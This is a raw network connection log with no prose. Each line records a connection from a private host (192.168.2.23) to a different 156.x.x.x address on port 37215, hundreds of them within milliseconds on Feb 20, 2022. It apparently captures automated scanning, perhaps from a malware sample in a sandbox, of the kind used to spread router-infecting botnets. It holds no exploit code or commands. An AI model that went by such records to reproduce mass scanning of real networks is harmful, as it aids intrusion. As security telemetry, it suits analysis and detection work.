Feb 20, 2022 16:02:44.629542112 CET	27477	37215	192.168.2.23	156.115.222.144
Feb 20, 2022 16:02:44.629563093 CET	27477	37215	192.168.2.23	156.125.10.215
Feb 20, 2022 16:02:44.629586935 CET	27477	37215	192.168.2.23	156.120.31.229
Feb 20, 2022 16:02:44.629601955 CET	27221	37215	192.168.2.23	156.215.120.190
Feb 20, 2022 16:02:44.629601955 CET	27477	37215	192.168.2.23	156.231.246.199
Feb 20, 2022 16:02:44.629621983 CET	27477	37215	192.168.2.23	156.71.180.170
Feb 20, 2022 16:02:44.629632950 CET	27221	37215	192.168.2.23	156.235.1.173
Feb 20, 2022 16:02:44.629647017 CET	27221	37215	192.168.2.23	156.215.156.22
Feb 20, 2022 16:02:44.629652977 CET	27477	37215	192.168.2.23	156.70.90.50
Feb 20, 2022 16:02:44.629672050 CET	27477	37215	192.168.2.23	156.25.7.50
Feb 20, 2022 16:02:44.629693985 CET	27477	37215	192.168.2.23	156.97.245.141
Feb 20, 2022 16:02:44.629697084 CET	27221	37215	192.168.2.23	156.140.212.147
Feb 20, 2022 16:02:44.629714012 CET	27477	37215	192.168.2.23	156.197.191.147
Feb 20, 2022 16:02:44.629736900 CET	27477	37215	192.168.2.23	156.60.75.37
Feb 20, 2022 16:02:44.629745007 CET	27221	37215	192.168.2.23	156.201.115.252
Feb 20, 2022 16:02:44.629765034 CET	27221	37215	192.168.2.23	156.246.38.93
Feb 20, 2022 16:02:44.629766941 CET	27477	37215	192.168.2.23	156.155.195.54
Feb 20, 2022 16:02:44.629785061 CET	27477	37215	192.168.2.23	156.145.2.233
Feb 20, 2022 16:02:44.629806042 CET	27477	37215	192.168.2.23	156.241.10.90
Feb 20, 2022 16:02:44.629817963 CET	27221	37215	192.168.2.23	156.83.55.5
Feb 20, 2022 16:02:44.629827023 CET	27221	37215	192.168.2.23	156.149.244.61
Feb 20, 2022 16:02:44.629836082 CET	27477	37215	192.168.2.23	156.156.49.190
Feb 20, 2022 16:02:44.629839897 CET	27477	37215	192.168.2.23	156.185.82.3
Feb 20, 2022 16:02:44.629869938 CET	27477	37215	192.168.2.23	156.142.63.76
Feb 20, 2022 16:02:44.629928112 CET	27221	37215	192.168.2.23	156.226.241.147
Feb 20, 2022 16:02:44.629935026 CET	27477	37215	192.168.2.23	156.159.87.11
Feb 20, 2022 16:02:44.629949093 CET	27221	37215	192.168.2.23	156.202.114.45
Feb 20, 2022 16:02:44.629955053 CET	27477	37215	192.168.2.23	156.53.14.17
Feb 20, 2022 16:02:44.629956007 CET	27221	37215	192.168.2.23	156.162.148.38
Feb 20, 2022 16:02:44.629957914 CET	27477	37215	192.168.2.23	156.63.117.200
Feb 20, 2022 16:02:44.629981995 CET	27221	37215	192.168.2.23	156.229.51.163
Feb 20, 2022 16:02:44.629982948 CET	27477	37215	192.168.2.23	156.27.41.160
Feb 20, 2022 16:02:44.629997969 CET	27477	37215	192.168.2.23	156.66.124.193
Feb 20, 2022 16:02:44.630013943 CET	27477	37215	192.168.2.23	156.11.55.159
Feb 20, 2022 16:02:44.630042076 CET	27477	37215	192.168.2.23	156.22.174.145
Feb 20, 2022 16:02:44.630042076 CET	27221	37215	192.168.2.23	156.182.212.67
Feb 20, 2022 16:02:44.630069971 CET	27477	37215	192.168.2.23	156.14.55.132
Feb 20, 2022 16:02:44.630075932 CET	27477	37215	192.168.2.23	156.71.162.199
Feb 20, 2022 16:02:44.630083084 CET	27221	37215	192.168.2.23	156.185.124.246
Feb 20, 2022 16:02:44.630091906 CET	27477	37215	192.168.2.23	156.250.205.142
Feb 20, 2022 16:02:44.630115032 CET	27221	37215	192.168.2.23	156.109.239.140
Feb 20, 2022 16:02:44.630122900 CET	27477	37215	192.168.2.23	156.173.205.164
Feb 20, 2022 16:02:44.630137920 CET	27477	37215	192.168.2.23	156.171.42.90
Feb 20, 2022 16:02:44.630150080 CET	27221	37215	192.168.2.23	156.214.118.187
Feb 20, 2022 16:02:44.630158901 CET	27477	37215	192.168.2.23	156.37.149.204
Feb 20, 2022 16:02:44.630188942 CET	27477	37215	192.168.2.23	156.134.43.224
Feb 20, 2022 16:02:44.630213976 CET	27221	37215	192.168.2.23	156.146.123.117
Feb 20, 2022 16:02:44.630218983 CET	27477	37215	192.168.2.23	156.134.80.157
Feb 20, 2022 16:02:44.630250931 CET	27221	37215	192.168.2.23	156.216.50.114
Feb 20, 2022 16:02:44.630250931 CET	27477	37215	192.168.2.23	156.59.110.89
Feb 20, 2022 16:02:44.630254984 CET	27477	37215	192.168.2.23	156.139.212.2
Feb 20, 2022 16:02:44.630286932 CET	27477	37215	192.168.2.23	156.154.190.179
Feb 20, 2022 16:02:44.630290985 CET	27221	37215	192.168.2.23	156.247.227.13
Feb 20, 2022 16:02:44.630306959 CET	27477	37215	192.168.2.23	156.65.63.126
Feb 20, 2022 16:02:44.630327940 CET	27221	37215	192.168.2.23	156.149.4.73
Feb 20, 2022 16:02:44.630331993 CET	27477	37215	192.168.2.23	156.169.142.182
Feb 20, 2022 16:02:44.630353928 CET	27477	37215	192.168.2.23	156.57.54.68
Feb 20, 2022 16:02:44.630362034 CET	27221	37215	192.168.2.23	156.249.148.253
Feb 20, 2022 16:02:44.630376101 CET	27477	37215	192.168.2.23	156.230.2.108
Feb 20, 2022 16:02:44.630394936 CET	27477	37215	192.168.2.23	156.198.92.105
Feb 20, 2022 16:02:44.630403042 CET	27221	37215	192.168.2.23	156.195.172.151
Feb 20, 2022 16:02:44.630424976 CET	27477	37215	192.168.2.23	156.42.35.154
Feb 20, 2022 16:02:44.630430937 CET	27477	37215	192.168.2.23	156.208.230.45
Feb 20, 2022 16:02:44.630449057 CET	27221	37215	192.168.2.23	156.194.242.217
Feb 20, 2022 16:02:44.630469084 CET	27477	37215	192.168.2.23	156.98.220.35
Feb 20, 2022 16:02:44.630482912 CET	27477	37215	192.168.2.23	156.208.89.139
Feb 20, 2022 16:02:44.630491972 CET	27221	37215	192.168.2.23	156.245.161.137
Feb 20, 2022 16:02:44.630512953 CET	27477	37215	192.168.2.23	156.80.1.190
Feb 20, 2022 16:02:44.630532026 CET	27477	37215	192.168.2.23	156.25.172.72
Feb 20, 2022 16:02:44.630541086 CET	27221	37215	192.168.2.23	156.252.228.204
Feb 20, 2022 16:02:44.630561113 CET	27477	37215	192.168.2.23	156.185.72.247
Feb 20, 2022 16:02:44.630568027 CET	27221	37215	192.168.2.23	156.230.253.4
Feb 20, 2022 16:02:44.630584002 CET	27477	37215	192.168.2.23	156.227.114.126
Feb 20, 2022 16:02:44.630610943 CET	27477	37215	192.168.2.23	156.8.148.71
Feb 20, 2022 16:02:44.630620956 CET	27221	37215	192.168.2.23	156.151.115.10
Feb 20, 2022 16:02:44.630642891 CET	27477	37215	192.168.2.23	156.52.132.47
Feb 20, 2022 16:02:44.630676031 CET	27477	37215	192.168.2.23	156.141.86.243
Feb 20, 2022 16:02:44.630677938 CET	27221	37215	192.168.2.23	156.71.160.255
Feb 20, 2022 16:02:44.630690098 CET	27477	37215	192.168.2.23	156.167.52.128
Feb 20, 2022 16:02:44.630691051 CET	27477	37215	192.168.2.23	156.103.173.2
Feb 20, 2022 16:02:44.630717039 CET	27477	37215	192.168.2.23	156.25.15.45
Feb 20, 2022 16:02:44.630718946 CET	27221	37215	192.168.2.23	156.20.61.109
Feb 20, 2022 16:02:44.630738974 CET	27477	37215	192.168.2.23	156.151.52.110
Feb 20, 2022 16:02:44.630758047 CET	27221	37215	192.168.2.23	156.52.180.221
Feb 20, 2022 16:02:44.630767107 CET	27221	37215	192.168.2.23	156.209.202.130
Feb 20, 2022 16:02:44.630768061 CET	27477	37215	192.168.2.23	156.185.241.248
Feb 20, 2022 16:02:44.630790949 CET	27477	37215	192.168.2.23	156.54.166.182
Feb 20, 2022 16:02:44.630799055 CET	27477	37215	192.168.2.23	156.128.42.121
Feb 20, 2022 16:02:44.630815983 CET	27221	37215	192.168.2.23	156.185.7.35
Feb 20, 2022 16:02:44.630819082 CET	27477	37215	192.168.2.23	156.45.54.139
Feb 20, 2022 16:02:44.630841017 CET	27477	37215	192.168.2.23	156.71.162.155
Feb 20, 2022 16:02:44.630861044 CET	27477	37215	192.168.2.23	156.203.240.178
Feb 20, 2022 16:02:44.630871058 CET	27221	37215	192.168.2.23	156.35.206.125
Feb 20, 2022 16:02:44.630892038 CET	27477	37215	192.168.2.23	156.45.133.174
Feb 20, 2022 16:02:44.630912066 CET	27477	37215	192.168.2.23	156.254.169.142
Feb 20, 2022 16:02:44.630935907 CET	27221	37215	192.168.2.23	156.43.68.3
Feb 20, 2022 16:02:44.630938053 CET	27221	37215	192.168.2.23	156.120.81.35
Feb 20, 2022 16:02:44.630958080 CET	27477	37215	192.168.2.23	156.110.96.180
Feb 20, 2022 16:02:44.630971909 CET	27477	37215	192.168.2.23	156.112.15.91
Feb 20, 2022 16:02:44.630980015 CET	27477	37215	192.168.2.23	156.139.198.131
Feb 20, 2022 16:02:44.631000042 CET	27477	37215	192.168.2.23	156.65.255.160
Feb 20, 2022 16:02:44.631004095 CET	27221	37215	192.168.2.23	156.111.175.121
Feb 20, 2022 16:02:44.631019115 CET	27221	37215	192.168.2.23	156.92.136.134
Feb 20, 2022 16:02:44.631020069 CET	27477	37215	192.168.2.23	156.113.83.19
Feb 20, 2022 16:02:44.631051064 CET	27221	37215	192.168.2.23	156.191.20.26
Feb 20, 2022 16:02:44.631052017 CET	27477	37215	192.168.2.23	156.171.24.125
Feb 20, 2022 16:02:44.631069899 CET	27477	37215	192.168.2.23	156.134.198.161
Feb 20, 2022 16:02:44.631073952 CET	27221	37215	192.168.2.23	156.128.91.196
Feb 20, 2022 16:02:44.631092072 CET	27477	37215	192.168.2.23	156.154.73.169
Feb 20, 2022 16:02:44.631108999 CET	27221	37215	192.168.2.23	156.26.110.95
Feb 20, 2022 16:02:44.631123066 CET	27477	37215	192.168.2.23	156.57.245.145
Feb 20, 2022 16:02:44.631145954 CET	27477	37215	192.168.2.23	156.138.190.251
Feb 20, 2022 16:02:44.631148100 CET	27221	37215	192.168.2.23	156.146.17.238
Feb 20, 2022 16:02:44.631177902 CET	27477	37215	192.168.2.23	156.173.83.119
Feb 20, 2022 16:02:44.631211042 CET	27477	37215	192.168.2.23	156.206.40.126
Feb 20, 2022 16:02:44.631218910 CET	27221	37215	192.168.2.23	156.24.154.225
Feb 20, 2022 16:02:44.631247044 CET	27477	37215	192.168.2.23	156.16.83.81
Feb 20, 2022 16:02:44.631254911 CET	27477	37215	192.168.2.23	156.105.99.109
Feb 20, 2022 16:02:44.631256104 CET	27221	37215	192.168.2.23	156.250.245.245
Feb 20, 2022 16:02:44.631279945 CET	27221	37215	192.168.2.23	156.225.168.68
Feb 20, 2022 16:02:44.631297112 CET	27477	37215	192.168.2.23	156.210.154.19
Feb 20, 2022 16:02:44.631299019 CET	27477	37215	192.168.2.23	156.160.101.59
Feb 20, 2022 16:02:44.631330013 CET	27477	37215	192.168.2.23	156.149.226.10
Feb 20, 2022 16:02:44.631336927 CET	27221	37215	192.168.2.23	156.131.58.49
Feb 20, 2022 16:02:44.631355047 CET	27477	37215	192.168.2.23	156.189.189.151
Feb 20, 2022 16:02:44.631378889 CET	27477	37215	192.168.2.23	156.15.128.53
Feb 20, 2022 16:02:44.631380081 CET	27221	37215	192.168.2.23	156.209.159.71
Feb 20, 2022 16:02:44.631392002 CET	27477	37215	192.168.2.23	156.249.215.151
Feb 20, 2022 16:02:44.631411076 CET	27221	37215	192.168.2.23	156.108.16.255
Feb 20, 2022 16:02:44.631428003 CET	27477	37215	192.168.2.23	156.234.172.12
Feb 20, 2022 16:02:44.631443977 CET	27221	37215	192.168.2.23	156.244.33.251
Feb 20, 2022 16:02:44.631454945 CET	27477	37215	192.168.2.23	156.181.174.49
Feb 20, 2022 16:02:44.631477118 CET	27477	37215	192.168.2.23	156.28.120.96
Feb 20, 2022 16:02:44.631496906 CET	27477	37215	192.168.2.23	156.184.182.229
Feb 20, 2022 16:02:44.631500006 CET	27221	37215	192.168.2.23	156.114.168.10
Feb 20, 2022 16:02:44.631525993 CET	27477	37215	192.168.2.23	156.46.142.42
Feb 20, 2022 16:02:44.631540060 CET	27221	37215	192.168.2.23	156.88.61.252
Feb 20, 2022 16:02:44.631546974 CET	27477	37215	192.168.2.23	156.190.97.106
Feb 20, 2022 16:02:44.631576061 CET	27221	37215	192.168.2.23	156.52.120.205
Feb 20, 2022 16:02:44.631592035 CET	27477	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:44.631596088 CET	27477	37215	192.168.2.23	156.205.216.107
Feb 20, 2022 16:02:44.631618023 CET	27221	37215	192.168.2.23	156.118.53.151
Feb 20, 2022 16:02:44.631629944 CET	27477	37215	192.168.2.23	156.129.8.53
Feb 20, 2022 16:02:44.631654024 CET	27477	37215	192.168.2.23	156.224.153.252
Feb 20, 2022 16:02:44.631683111 CET	27477	37215	192.168.2.23	156.64.176.122
Feb 20, 2022 16:02:44.631681919 CET	27221	37215	192.168.2.23	156.10.144.85
Feb 20, 2022 16:02:44.631711006 CET	27477	37215	192.168.2.23	156.71.20.8
Feb 20, 2022 16:02:44.631726980 CET	27221	37215	192.168.2.23	156.248.155.15
Feb 20, 2022 16:02:44.631743908 CET	27477	37215	192.168.2.23	156.84.223.216
Feb 20, 2022 16:02:44.631757021 CET	27477	37215	192.168.2.23	156.254.161.147
Feb 20, 2022 16:02:44.631768942 CET	27221	37215	192.168.2.23	156.36.92.156
Feb 20, 2022 16:02:44.631783009 CET	27477	37215	192.168.2.23	156.109.116.34
Feb 20, 2022 16:02:44.631805897 CET	27221	37215	192.168.2.23	156.74.190.113
Feb 20, 2022 16:02:44.631815910 CET	27477	37215	192.168.2.23	156.229.136.162
Feb 20, 2022 16:02:44.631834030 CET	27477	37215	192.168.2.23	156.111.132.78
Feb 20, 2022 16:02:44.631850958 CET	27221	37215	192.168.2.23	156.131.201.20
Feb 20, 2022 16:02:44.631858110 CET	27477	37215	192.168.2.23	156.229.185.163
Feb 20, 2022 16:02:44.631875038 CET	27477	37215	192.168.2.23	156.51.74.222
Feb 20, 2022 16:02:44.631901979 CET	27477	37215	192.168.2.23	156.144.233.23
Feb 20, 2022 16:02:44.631918907 CET	27221	37215	192.168.2.23	156.241.241.152
Feb 20, 2022 16:02:44.631927967 CET	27477	37215	192.168.2.23	156.63.49.200
Feb 20, 2022 16:02:44.631956100 CET	27477	37215	192.168.2.23	156.94.215.87
Feb 20, 2022 16:02:44.631963015 CET	27221	37215	192.168.2.23	156.204.175.195
Feb 20, 2022 16:02:44.631974936 CET	27477	37215	192.168.2.23	156.83.164.52
Feb 20, 2022 16:02:44.631997108 CET	27221	37215	192.168.2.23	156.220.213.25
Feb 20, 2022 16:02:44.632004976 CET	27477	37215	192.168.2.23	156.25.218.220
Feb 20, 2022 16:02:44.632023096 CET	27477	37215	192.168.2.23	156.120.208.221
Feb 20, 2022 16:02:44.632035971 CET	27221	37215	192.168.2.23	156.17.193.44
Feb 20, 2022 16:02:44.632052898 CET	27477	37215	192.168.2.23	156.218.31.121
Feb 20, 2022 16:02:44.632077932 CET	27221	37215	192.168.2.23	156.131.69.89
Feb 20, 2022 16:02:44.632077932 CET	27477	37215	192.168.2.23	156.115.129.27
Feb 20, 2022 16:02:44.632097960 CET	27477	37215	192.168.2.23	156.186.206.223
Feb 20, 2022 16:02:44.632119894 CET	27221	37215	192.168.2.23	156.183.21.125
Feb 20, 2022 16:02:44.632148027 CET	27477	37215	192.168.2.23	156.157.235.242
Feb 20, 2022 16:02:44.632150888 CET	27221	37215	192.168.2.23	156.76.87.202
Feb 20, 2022 16:02:44.632152081 CET	27477	37215	192.168.2.23	156.70.18.19
Feb 20, 2022 16:02:44.632184982 CET	27477	37215	192.168.2.23	156.236.49.74
Feb 20, 2022 16:02:44.632198095 CET	27477	37215	192.168.2.23	156.12.150.95
Feb 20, 2022 16:02:44.632210970 CET	27221	37215	192.168.2.23	156.1.45.141
Feb 20, 2022 16:02:44.632225037 CET	27477	37215	192.168.2.23	156.72.41.150
Feb 20, 2022 16:02:44.632251978 CET	27221	37215	192.168.2.23	156.237.61.144
Feb 20, 2022 16:02:44.632251978 CET	27477	37215	192.168.2.23	156.101.236.15
Feb 20, 2022 16:02:44.632272005 CET	27477	37215	192.168.2.23	156.38.100.124
Feb 20, 2022 16:02:44.632296085 CET	27477	37215	192.168.2.23	156.126.173.82
Feb 20, 2022 16:02:44.632301092 CET	27221	37215	192.168.2.23	156.254.112.172
Feb 20, 2022 16:02:44.632314920 CET	27477	37215	192.168.2.23	156.244.199.18
Feb 20, 2022 16:02:44.632333994 CET	27477	37215	192.168.2.23	156.194.115.28
Feb 20, 2022 16:02:44.632343054 CET	27221	37215	192.168.2.23	156.192.198.221
Feb 20, 2022 16:02:44.632364988 CET	27477	37215	192.168.2.23	156.143.50.20
Feb 20, 2022 16:02:44.632376909 CET	27221	37215	192.168.2.23	156.247.203.43
Feb 20, 2022 16:02:44.632400036 CET	27477	37215	192.168.2.23	156.29.112.16
Feb 20, 2022 16:02:44.632421017 CET	27477	37215	192.168.2.23	156.180.165.127
Feb 20, 2022 16:02:44.632450104 CET	27221	37215	192.168.2.23	156.136.46.5
Feb 20, 2022 16:02:44.632452965 CET	27477	37215	192.168.2.23	156.197.87.204
Feb 20, 2022 16:02:44.632468939 CET	27221	37215	192.168.2.23	156.11.66.68
Feb 20, 2022 16:02:44.632471085 CET	27477	37215	192.168.2.23	156.15.152.19
Feb 20, 2022 16:02:44.632491112 CET	27477	37215	192.168.2.23	156.95.48.193
Feb 20, 2022 16:02:44.632514954 CET	27221	37215	192.168.2.23	156.254.244.194
Feb 20, 2022 16:02:44.632534981 CET	27477	37215	192.168.2.23	156.231.243.27
Feb 20, 2022 16:02:44.632543087 CET	27477	37215	192.168.2.23	156.61.132.1
Feb 20, 2022 16:02:44.632555962 CET	27221	37215	192.168.2.23	156.135.44.154
Feb 20, 2022 16:02:44.632561922 CET	27477	37215	192.168.2.23	156.76.166.85
Feb 20, 2022 16:02:44.632586002 CET	27477	37215	192.168.2.23	156.49.80.81
Feb 20, 2022 16:02:44.632606030 CET	27221	37215	192.168.2.23	156.67.122.13
Feb 20, 2022 16:02:44.632608891 CET	27477	37215	192.168.2.23	156.234.162.35
Feb 20, 2022 16:02:44.632623911 CET	27477	37215	192.168.2.23	156.17.226.203
Feb 20, 2022 16:02:44.632643938 CET	27221	37215	192.168.2.23	156.127.150.54
Feb 20, 2022 16:02:44.632656097 CET	27477	37215	192.168.2.23	156.69.62.170
Feb 20, 2022 16:02:44.632683992 CET	27477	37215	192.168.2.23	156.167.115.6
Feb 20, 2022 16:02:44.632699966 CET	27477	37215	192.168.2.23	156.135.168.21
Feb 20, 2022 16:02:44.632723093 CET	27477	37215	192.168.2.23	156.44.12.107
Feb 20, 2022 16:02:44.632740021 CET	27221	37215	192.168.2.23	156.232.246.199
Feb 20, 2022 16:02:44.632746935 CET	27221	37215	192.168.2.23	156.151.162.99
Feb 20, 2022 16:02:44.632750034 CET	27477	37215	192.168.2.23	156.63.255.86
Feb 20, 2022 16:02:44.632764101 CET	27221	37215	192.168.2.23	156.234.203.198
Feb 20, 2022 16:02:44.632770061 CET	27477	37215	192.168.2.23	156.117.230.85
Feb 20, 2022 16:02:44.632777929 CET	27477	37215	192.168.2.23	156.29.69.23
Feb 20, 2022 16:02:44.632795095 CET	27221	37215	192.168.2.23	156.23.244.40
Feb 20, 2022 16:02:44.632806063 CET	27477	37215	192.168.2.23	156.152.5.50
Feb 20, 2022 16:02:44.632834911 CET	27477	37215	192.168.2.23	156.119.250.199
Feb 20, 2022 16:02:44.632843018 CET	27221	37215	192.168.2.23	156.9.31.14
Feb 20, 2022 16:02:44.632854939 CET	27477	37215	192.168.2.23	156.104.122.238
Feb 20, 2022 16:02:44.632873058 CET	27221	37215	192.168.2.23	156.80.52.64
Feb 20, 2022 16:02:44.632879019 CET	27477	37215	192.168.2.23	156.166.250.88
Feb 20, 2022 16:02:44.632900953 CET	27477	37215	192.168.2.23	156.96.57.161
Feb 20, 2022 16:02:44.632920980 CET	27221	37215	192.168.2.23	156.99.36.199
Feb 20, 2022 16:02:44.632925987 CET	27477	37215	192.168.2.23	156.228.237.24
Feb 20, 2022 16:02:44.632944107 CET	27477	37215	192.168.2.23	156.208.226.23
Feb 20, 2022 16:02:44.632961035 CET	27477	37215	192.168.2.23	156.130.163.186
Feb 20, 2022 16:02:44.632966995 CET	27221	37215	192.168.2.23	156.163.26.122
Feb 20, 2022 16:02:44.632987976 CET	27477	37215	192.168.2.23	156.171.54.126
Feb 20, 2022 16:02:44.632997990 CET	27221	37215	192.168.2.23	156.118.6.160
Feb 20, 2022 16:02:44.633008003 CET	27477	37215	192.168.2.23	156.178.40.241
Feb 20, 2022 16:02:44.633033037 CET	27477	37215	192.168.2.23	156.113.62.211
Feb 20, 2022 16:02:44.633038044 CET	27221	37215	192.168.2.23	156.181.255.250
Feb 20, 2022 16:02:44.633064032 CET	27477	37215	192.168.2.23	156.190.127.217
Feb 20, 2022 16:02:44.633081913 CET	27477	37215	192.168.2.23	156.39.10.43
Feb 20, 2022 16:02:44.633081913 CET	27221	37215	192.168.2.23	156.88.62.215
Feb 20, 2022 16:02:44.633106947 CET	27477	37215	192.168.2.23	156.226.170.247
Feb 20, 2022 16:02:44.633114100 CET	27221	37215	192.168.2.23	156.91.201.24
Feb 20, 2022 16:02:44.633127928 CET	27477	37215	192.168.2.23	156.180.218.90
Feb 20, 2022 16:02:44.633147001 CET	27477	37215	192.168.2.23	156.156.82.58
Feb 20, 2022 16:02:44.633166075 CET	27221	37215	192.168.2.23	156.104.22.135
Feb 20, 2022 16:02:44.633186102 CET	27477	37215	192.168.2.23	156.248.169.10
Feb 20, 2022 16:02:44.633189917 CET	27477	37215	192.168.2.23	156.153.28.86
Feb 20, 2022 16:02:44.633198977 CET	27221	37215	192.168.2.23	156.205.204.51
Feb 20, 2022 16:02:44.633223057 CET	27477	37215	192.168.2.23	156.164.248.101
Feb 20, 2022 16:02:44.633241892 CET	27221	37215	192.168.2.23	156.10.127.228
Feb 20, 2022 16:02:44.633264065 CET	27477	37215	192.168.2.23	156.237.133.10
Feb 20, 2022 16:02:44.633272886 CET	27221	37215	192.168.2.23	156.108.71.175
Feb 20, 2022 16:02:44.633291006 CET	27477	37215	192.168.2.23	156.122.245.169
Feb 20, 2022 16:02:44.633294106 CET	27477	37215	192.168.2.23	156.216.231.8
Feb 20, 2022 16:02:44.633317947 CET	27477	37215	192.168.2.23	156.219.161.229
Feb 20, 2022 16:02:44.633332014 CET	27221	37215	192.168.2.23	156.83.99.143
Feb 20, 2022 16:02:44.633339882 CET	27477	37215	192.168.2.23	156.114.40.94
Feb 20, 2022 16:02:44.633349895 CET	27477	37215	192.168.2.23	156.115.194.60
Feb 20, 2022 16:02:44.633352995 CET	27221	37215	192.168.2.23	156.176.56.80
Feb 20, 2022 16:02:44.633374929 CET	27477	37215	192.168.2.23	156.73.122.54
Feb 20, 2022 16:02:44.633392096 CET	27221	37215	192.168.2.23	156.42.245.242
Feb 20, 2022 16:02:44.633402109 CET	27477	37215	192.168.2.23	156.26.87.114
Feb 20, 2022 16:02:44.633423090 CET	27477	37215	192.168.2.23	156.87.185.76
Feb 20, 2022 16:02:44.633436918 CET	27221	37215	192.168.2.23	156.187.87.233
Feb 20, 2022 16:02:44.633452892 CET	27477	37215	192.168.2.23	156.132.28.233
Feb 20, 2022 16:02:44.633467913 CET	27221	37215	192.168.2.23	156.76.124.6
Feb 20, 2022 16:02:44.633476019 CET	27477	37215	192.168.2.23	156.81.47.155
Feb 20, 2022 16:02:44.633495092 CET	27477	37215	192.168.2.23	156.207.143.41
Feb 20, 2022 16:02:44.633510113 CET	27221	37215	192.168.2.23	156.144.213.217
Feb 20, 2022 16:02:44.633531094 CET	27477	37215	192.168.2.23	156.66.10.17
Feb 20, 2022 16:02:44.633543968 CET	27477	37215	192.168.2.23	156.170.155.150
Feb 20, 2022 16:02:44.633558035 CET	27221	37215	192.168.2.23	156.53.224.84
Feb 20, 2022 16:02:44.633572102 CET	27477	37215	192.168.2.23	156.142.233.167
Feb 20, 2022 16:02:44.633577108 CET	27477	37215	192.168.2.23	156.96.95.221
Feb 20, 2022 16:02:44.633604050 CET	27477	37215	192.168.2.23	156.107.186.231
Feb 20, 2022 16:02:44.633608103 CET	27221	37215	192.168.2.23	156.50.30.199
Feb 20, 2022 16:02:44.633615971 CET	27477	37215	192.168.2.23	156.241.204.99
Feb 20, 2022 16:02:44.633629084 CET	27221	37215	192.168.2.23	156.226.50.203
Feb 20, 2022 16:02:44.633658886 CET	27477	37215	192.168.2.23	156.119.32.181
Feb 20, 2022 16:02:44.633665085 CET	27221	37215	192.168.2.23	156.31.255.152
Feb 20, 2022 16:02:44.633686066 CET	27477	37215	192.168.2.23	156.192.1.85
Feb 20, 2022 16:02:44.633687973 CET	27477	37215	192.168.2.23	156.195.29.253
Feb 20, 2022 16:02:44.633703947 CET	27477	37215	192.168.2.23	156.179.86.73
Feb 20, 2022 16:02:44.633707047 CET	27221	37215	192.168.2.23	156.187.171.26
Feb 20, 2022 16:02:44.633727074 CET	27477	37215	192.168.2.23	156.116.225.137
Feb 20, 2022 16:02:44.633748055 CET	27221	37215	192.168.2.23	156.28.111.210
Feb 20, 2022 16:02:44.633770943 CET	27477	37215	192.168.2.23	156.141.126.49
Feb 20, 2022 16:02:44.633776903 CET	27477	37215	192.168.2.23	156.81.117.132
Feb 20, 2022 16:02:44.633788109 CET	27477	37215	192.168.2.23	156.239.136.230
Feb 20, 2022 16:02:44.633793116 CET	27221	37215	192.168.2.23	156.21.122.91
Feb 20, 2022 16:02:44.633814096 CET	27477	37215	192.168.2.23	156.131.61.76
Feb 20, 2022 16:02:44.633836031 CET	27221	37215	192.168.2.23	156.230.55.5
Feb 20, 2022 16:02:44.633842945 CET	27477	37215	192.168.2.23	156.43.72.33
Feb 20, 2022 16:02:44.633877993 CET	27477	37215	192.168.2.23	156.52.168.156
Feb 20, 2022 16:02:44.633893967 CET	27221	37215	192.168.2.23	156.212.59.237
Feb 20, 2022 16:02:44.633908987 CET	27477	37215	192.168.2.23	156.66.175.16
Feb 20, 2022 16:02:44.633910894 CET	27477	37215	192.168.2.23	156.97.47.168
Feb 20, 2022 16:02:44.633924007 CET	27221	37215	192.168.2.23	156.143.239.83
Feb 20, 2022 16:02:44.633943081 CET	27477	37215	192.168.2.23	156.2.98.135
Feb 20, 2022 16:02:44.633945942 CET	27477	37215	192.168.2.23	156.20.111.226
Feb 20, 2022 16:02:44.633970976 CET	27477	37215	192.168.2.23	156.62.101.241
Feb 20, 2022 16:02:44.633976936 CET	27221	37215	192.168.2.23	156.158.109.13
Feb 20, 2022 16:02:44.633992910 CET	27477	37215	192.168.2.23	156.150.178.4
Feb 20, 2022 16:02:44.634001017 CET	27221	37215	192.168.2.23	156.112.227.126
Feb 20, 2022 16:02:44.634016991 CET	27477	37215	192.168.2.23	156.11.96.16
Feb 20, 2022 16:02:44.634032965 CET	27477	37215	192.168.2.23	156.224.106.150
Feb 20, 2022 16:02:44.634047031 CET	27221	37215	192.168.2.23	156.177.250.12
Feb 20, 2022 16:02:44.634053946 CET	27477	37215	192.168.2.23	156.97.195.0
Feb 20, 2022 16:02:44.634084940 CET	27221	37215	192.168.2.23	156.150.120.202
Feb 20, 2022 16:02:44.634088993 CET	27477	37215	192.168.2.23	156.141.247.28
Feb 20, 2022 16:02:44.634107113 CET	27477	37215	192.168.2.23	156.181.198.93
Feb 20, 2022 16:02:44.634123087 CET	27221	37215	192.168.2.23	156.237.244.72
Feb 20, 2022 16:02:44.634130001 CET	27477	37215	192.168.2.23	156.85.122.207
Feb 20, 2022 16:02:44.634172916 CET	27221	37215	192.168.2.23	156.47.19.24
Feb 20, 2022 16:02:44.634176970 CET	27477	37215	192.168.2.23	156.23.161.114
Feb 20, 2022 16:02:44.634191036 CET	27477	37215	192.168.2.23	156.222.253.24
Feb 20, 2022 16:02:44.634215117 CET	27477	37215	192.168.2.23	156.237.34.96
Feb 20, 2022 16:02:44.634238005 CET	27221	37215	192.168.2.23	156.40.179.179
Feb 20, 2022 16:02:44.634252071 CET	27477	37215	192.168.2.23	156.53.51.36
Feb 20, 2022 16:02:44.634263992 CET	27221	37215	192.168.2.23	156.0.43.168
Feb 20, 2022 16:02:44.634272099 CET	27477	37215	192.168.2.23	156.216.216.85
Feb 20, 2022 16:02:44.634299994 CET	27477	37215	192.168.2.23	156.162.135.83
Feb 20, 2022 16:02:44.634316921 CET	27221	37215	192.168.2.23	156.72.255.237
Feb 20, 2022 16:02:44.634326935 CET	27477	37215	192.168.2.23	156.154.61.251
Feb 20, 2022 16:02:44.634344101 CET	27477	37215	192.168.2.23	156.178.204.69
Feb 20, 2022 16:02:44.634366989 CET	27477	37215	192.168.2.23	156.244.36.141
Feb 20, 2022 16:02:44.634371996 CET	27221	37215	192.168.2.23	156.70.14.47
Feb 20, 2022 16:02:44.634382963 CET	27477	37215	192.168.2.23	156.161.252.0
Feb 20, 2022 16:02:44.634402037 CET	27221	37215	192.168.2.23	156.32.237.215
Feb 20, 2022 16:02:44.634416103 CET	27477	37215	192.168.2.23	156.42.100.242
Feb 20, 2022 16:02:44.634437084 CET	27221	37215	192.168.2.23	156.187.88.215
Feb 20, 2022 16:02:44.634443045 CET	27477	37215	192.168.2.23	156.236.138.36
Feb 20, 2022 16:02:44.634470940 CET	27477	37215	192.168.2.23	156.161.34.211
Feb 20, 2022 16:02:44.634494066 CET	27477	37215	192.168.2.23	156.15.240.177
Feb 20, 2022 16:02:44.634495974 CET	27221	37215	192.168.2.23	156.155.26.135
